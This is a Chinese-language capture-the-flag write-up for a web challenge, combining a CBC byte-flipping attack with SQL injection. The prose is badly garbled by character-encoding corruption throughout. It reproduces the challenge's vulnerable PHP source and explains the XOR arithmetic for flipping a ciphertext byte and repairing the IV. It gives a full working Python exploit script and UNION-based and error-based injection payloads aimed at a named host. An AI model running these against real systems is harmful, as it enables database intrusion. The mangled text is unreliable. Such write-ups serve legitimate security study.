該wp學(xué)習(xí)自Pcat大佬在實(shí)驗(yàn)吧的wp
題目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php
隨便提交一個(gè)id,看到后臺(tái)set了兩個(gè)cookie

iv和cipher這兩個(gè)數(shù)據(jù)每次刷新都會(huì)發(fā)生變化,應(yīng)該是每次刷新的時(shí)候,后臺(tái)重新隨機(jī)生成了一個(gè)iv,并用來加密某個(gè)數(shù)據(jù),可能是我們提交的id,然后將密文cipher存入cookie中。
iv和cipher在翻譯過來就是Initialization Vector(初始化向量)和密文,這兩個(gè)東西好像也經(jīng)常在CBC翻轉(zhuǎn)的題目里出現(xiàn)。在看到這兩個(gè)數(shù)據(jù)的時(shí)候,我覺得這道題應(yīng)該是一道CBC翻轉(zhuǎn)的題目吧。
然后呢?如果是CBC翻轉(zhuǎn)這種接近于密碼的題目,沒有源碼不知道后臺(tái)做了什么處理的話,那就有點(diǎn)無從下手的感覺了。這個(gè)時(shí)候,就是掃描器登場(chǎng)的時(shí)候了,我們可以用御劍簡(jiǎn)單地掃描一下。

后面兩條結(jié)果忽略掉,conn明顯是數(shù)據(jù)庫(kù)連接的php,index.php則是我們?cè)L問的php,那么test.php里面會(huì)有什么呢?我們?cè)L問一下

如愿以償?shù)氐玫搅薸ndex.php的源碼,變得好看一點(diǎn),大致源碼如下
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
? ? if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
? ? ? ? return 1;
? ? } return 0;
}
function get_random_iv(){
? ? $random_iv='';
? ? for($i=0;$i<16;$i++){
? ? ? ? $random_iv.=chr(rand(1,255));
}
? ? return $random_iv;
}
function login($info){
? ? $iv = get_random_iv();
? ? $plain = serialize($info);
? ? $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
? ? setcookie("iv", base64_encode($iv));
? ? setcookie("cipher", base64_encode($cipher));
} function show_homepage(){
? ? global $link;
? ? if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
? ? ? ? $cipher = base64_decode($_COOKIE['cipher']);
? ? ? ? $iv = base64_decode($_COOKIE["iv"]);
? ? ? ? if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
? ? ? ? ? ? $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
? ? ? ? ? ? $sql="select * from users limit ".$info['id'].",0";
? ? ? ? ? ? $result=mysqli_query($link,$sql);
? ? ? ? ? ? if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
? ? ? ? ? ? ? ? $rows=mysqli_fetch_array($result);
? ? ? ? ? ? ? ? echo 'Hello!'.$rows['username'].'';
? ? ? ? ? ? } else{
? ? ? ? ? ? ? ? echo 'Hello!';
}
? ? ? ? }else{
? ? ? ? ? ? die("ERROR!");
}
}
}
if(isset($_POST['id'])){
? ? $id = (string)$_POST['id'];
? ? if(sqliCheck($id)) die("sql inject detected!");
? ? $info = array('id'=>$id);
? ? login($info);
? ? echo 'Hello!';
}else{
? ? if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
? ? }else{ echo 'Login Forminput id to loginidLogin';
}
}
分析一下,有這么幾點(diǎn):
1.傳遞的id中有一些會(huì)被吃掉的關(guān)鍵詞
2.id的值會(huì)被存入一個(gè)數(shù)組中序列化,然后加密該序列化字符串,并將該cipher base64編碼后與base64編碼的iv存入cookie
3.如果不傳遞id,就會(huì)從cookie中取出iv和cipher進(jìn)行解碼解密,然后拼接SQL語(yǔ)句進(jìn)行查詢,而這個(gè)SQL語(yǔ)句比較奇特,我們傳遞的數(shù)據(jù)被拼接在了limit的后面,而在SQL語(yǔ)句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看來不是一般的SQL注入了
4.在執(zhí)行SQL語(yǔ)句前并不會(huì)再次吃掉敏感關(guān)鍵詞
結(jié)合之前的猜測(cè),那么這道題就很明顯了,考點(diǎn)是CBC字節(jié)翻轉(zhuǎn)攻擊+SQL注入攻擊
CBC字節(jié)翻轉(zhuǎn)攻擊:http://www.vuln.cn/6109
具體的思路就是:
1.提交id的時(shí)候替換被吃掉的關(guān)鍵詞,比如union的其中一個(gè)字母
2.從cookie中獲取到iv和cipher之后,進(jìn)行CBC翻轉(zhuǎn)攻擊,使得修改之后,后臺(tái)解密會(huì)將密文變成我們所希望得到的樣子
3.SQL注入的時(shí)候,用;%00代替#這些單行注釋符,用join代替,來確定回顯位置,將數(shù)據(jù)select到回顯位置上
CBC翻轉(zhuǎn)的時(shí)候,盡量少翻轉(zhuǎn)字符,因?yàn)樵蕉嗟姆D(zhuǎn)可能會(huì)導(dǎo)致你需要對(duì)cipher或者iv做更多的處理,所以我們只使用union這個(gè)被吃掉的關(guān)鍵詞就好了,其他的關(guān)鍵詞可以繞過
先寫一個(gè)php腳本,為了方便直觀地看到所要翻轉(zhuǎn)的地方的偏移量是多少,借Pcat大佬的例子

此時(shí)的偏移量(offset)為4,也就是說,如果我們要將 第2塊第5個(gè)字符2 翻轉(zhuǎn)為我們所需要的字符#,由于CBC模式的解密方式是:
該塊的明文 = decrypt(該塊的密文) ^(異或) 前一塊密文
如果是第一塊:第一塊的明文 = decrypt(第一塊的密文) ^ iv
CBC解密分為兩段:decrypt和^
所以,我們需要對(duì) 第1塊第5個(gè)字符 做一些修改
由于:
第2塊密文第5個(gè)字符的明文(C) = 第1塊密文第5個(gè)字符(A) ^ decrypt(第2塊密文第5個(gè)字符的密文)(B)
而^有運(yùn)算為:C = A ^ B,A = C ^ B,0 ^ A = A,而我們已知CBC解密后C(這里為2)和密文中A的值cipher_row[offset(偏移量)]
故:
B = A ^ C
而后臺(tái)CBC解密所得則為:A ^ B
所以我們控制修改A2 = A ^ C ^ D(我們想要的,這里為#)
即腳本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))
這樣運(yùn)算下來,則后臺(tái)CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻轉(zhuǎn)成功
但是還沒有結(jié)束,因?yàn)槲覀冊(cè)诜D(zhuǎn)第二塊的時(shí)候,修改了第一塊的密文,所以如果用同一個(gè)iv去解密第一塊密文,是無法反序列化的,因此我們需要對(duì)iv進(jìn)行一些修改。
(如果我們?yōu)榱朔D(zhuǎn)第三塊,而修改了第二塊,那我們又需要為了讓第二塊解密后反序列化成功修改第一塊,最后又要修改iv,處理量一下子就多了起來)
修改iv的時(shí)候,我們已知:原iv,用原iv解密后的錯(cuò)誤明文,第一塊密文,以及正確明文(即a:1:{s:2:\"id\";s:)
而:
錯(cuò)誤明文 = 原iv ^ 第一塊密文 => 第一塊密文 = 錯(cuò)誤明文 ^ 原iv
正確明文 = 新iv ^ 第一塊密文 => 新iv = 正確明文 ^ 第一塊密文
故:
新iv =?原iv ^ 錯(cuò)誤明文 ^ 正確明文
即腳本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循環(huán)16次
原理講完了,接下來就是腳本了腳本如下
# -*- coding:utf8 -*-
import base64
import requests
import re
import urllib
url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"
payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)
data = {
'id':payload
}
cookie = requests.post(url,data = data).headers['Set-Cookie']
iv = re.findall(r'iv=(.+),',cookie)[0]
cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))
iv_row =list(base64.b64decode(urllib.unquote(iv)))
cipher_row =list(cipher)
offset =6
cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))
cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))
cookies = {
"iv" : iv,
"cipher" : cipher_new
}
mistake = requests.get(url,cookies = cookies).content
wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])
iv_new =''
plaintext ="a:1:{s:2:\"id\";s:"
for xin range(16):
iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))
iv_new = urllib.quote(base64.b64encode(iv_new))
cookies2 = {
"iv" : iv_new,
"cipher" : cipher_new
}
result = requests.get(url,cookies = cookies2).content
print result
運(yùn)行得到數(shù)據(jù)庫(kù)名

修改payload和offset的值,最后getflag
最后提一句的是:select * from ??? limit 1 union select ???這種寫法在mysql5.7里面已經(jīng)不能用了,會(huì)報(bào)錯(cuò)incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)這種寫法,官方在5.7文檔是這么說的


PS:
發(fā)現(xiàn)最近這題好像出了點(diǎn)問題,在select列的時(shí)候會(huì)報(bào)Got error 28 from storage engine的錯(cuò)誤,就獲取不到列名了
不過列名可以通過報(bào)錯(cuò)的方式爆出來,payload
"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)
結(jié)果:

the end
作者水平有限 如有錯(cuò)誤請(qǐng)指出 Orz